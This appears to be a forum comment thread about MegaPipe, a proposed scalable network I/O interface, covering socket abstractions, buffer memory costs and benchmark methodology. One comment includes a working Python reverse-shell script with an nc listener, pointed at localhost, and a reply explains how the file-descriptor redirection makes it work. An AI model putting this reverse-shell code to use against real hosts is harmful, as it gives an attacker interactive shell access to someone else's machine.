MegaPipe: A New Programming Interface for Scalable Network I/O
highscalability.com
highscalability.com
Hopefully this research spurs on others to create new implementations, because I bet that there are many improvements possible in the basic socket idea.
The fact that I/O is unified under file descriptors is a great abstraction and one of the key design points of Unix, although DJB makes a good point that there should have been two file descriptors for sockets: http://cr.yp.to/tcpip/twofd.html
I ran into a pretty neat usage of sockets as files the other day (http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-ch...)
However I am not exactly sure how this code works, but try it:
$ nc -l 127.0.0.1 1234
then:
#!/usr/bin/python
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("127.0.0.1",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);
If someone can explain why exactly this works I'm interested. I mean I sort of get it but I am not sure how the socket descriptors can get mapped to stderr, stdout, stdin and everything works.dup2 will take one file descriptor and change it into another.
0 is STDIN's file descriptor by default in *nix (I believe this is standard POSIX, but i could be wrong). 1 is STDOUT, 2 is STDERR.
os.dup2 in this case is taking the file descriptor for the socket and placing it into STDIN, STDOUT, and STDERR.
At this point all the code that does anything with these will end up writing to the TCP socket instead.
When subprocess.call is used, it will inherit the parent's STDIN, STDOUT, and STDERR handles, in this case the TCP socket.
So when the shell tries to output anything it'll go to the TCP socket, when it tries to read it'll go to the TCP socket and get the information.
This is the same way that things like nohup work, by putting all the sockets to a file, the process doesn't get killed when the tty goes away, since it doesn't have one. It also grabs some of the signals from the child first also so the shell doesn't kill it directly.
As another example, Solaris has the event completion framework which is also available when using sockets:
https://blogs.oracle.com/barts/entry/entry_2_event_ports
So I wonder how much of this is the platform implementation they were testing instead of their new API? It's unclear from their presentation materials whether this is really just covering up for problems in the implementation.
I would have liked to have seen more test data comparing this work on multiple platforms.
These programs couldn't write directly to the port 22 TCP socket you use to connect, or their content wouldn't be encrypted or have the other various SSH beenfits.
Then you could have your system running as normal, but allowing your http server special access to network i/o. Any kernel hackers around who can comment?
If you have to pass a target buffer every time you call mp_read, that ends up using a lot of memory in a scenario where there are a lot of connections open but traffic is sparse. Since data might arrive at any open connection, you'll have to have at least one "pending" mp_read operation for every socket at all times. This quickly adds up in terms of memory usage: if you were to read into 64k-sized buffers (that's somewhat arbirary - but using smaller buffers tends to be very bad for througput) you’d need 625mb of memory for just these buffers alone to handle 10.000 connections. In a C10M scenario (http://c10m.robertgraham.com/p/blog-page.html) the same would need a staggering 625GB of memory. The good old select model lets you allocate these read buffers "just in time" before you read data into it.
This was a major issue when implementing libuv (node.js) for windows. Windows overlapped I/O has exactly the same problem (and so has that new RIO thing).
A better model would be to have a "buffer pool" that is kept reasonably full by the user-mode application. The kernel could then take a buffer from the pool as soon as data actually comes in from the network.
But this is all speculation. I didn't any consideration for this problem in the paper at all so I don't have the impression it was on the researchers' radar.
I think either you have misunderstood the article, or I have.
The whitepaper's macrobenchmarks make no mention of sendfile; I presume their tests with Nginx run without sendfile enabled (since it would defeat the point of the benchmark by nature of it skipping all of the write(2) calls). The paper does not appear to detail the configuration used in their benchmarks. I believe that the performance benefit of Nginx+MegaPipe, when compared to an Nginx server configured to use sendfile, is much, much less than +75% throughput.
That said, sendfile has very narrow uses (it's effectively only for sending static files) -- I wish the paper benchmarked Nginx against Nginx+MegaPipe as a reverse proxy rather than a static file server.
But on the other hand user space networking is also performing.